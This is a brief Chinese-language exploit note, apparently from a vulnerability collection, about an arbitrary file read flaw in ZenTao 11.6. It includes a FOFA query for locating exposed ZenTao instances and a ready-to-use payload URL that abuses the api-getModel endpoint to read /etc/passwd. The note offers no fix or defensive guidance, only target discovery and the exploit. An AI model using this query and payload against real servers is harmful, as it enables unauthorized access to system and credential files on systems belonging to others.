# C4-1禅道-任意文件读取

## 漏洞描述：

禅道11.6版本对用户接口调用权限过滤不完善，存在任意文件读取漏洞。

## 影响版本：

禅道11.6 任意用户登录后台

### 网站图片：


## 网络测绘：

### fofa语法：

body:"禅道"

## 漏洞复现：

payload：

```
http://192.168.110.231/zentao/api-getModel-api-getMethod-filePath=/etc/passwd/
```

效果图: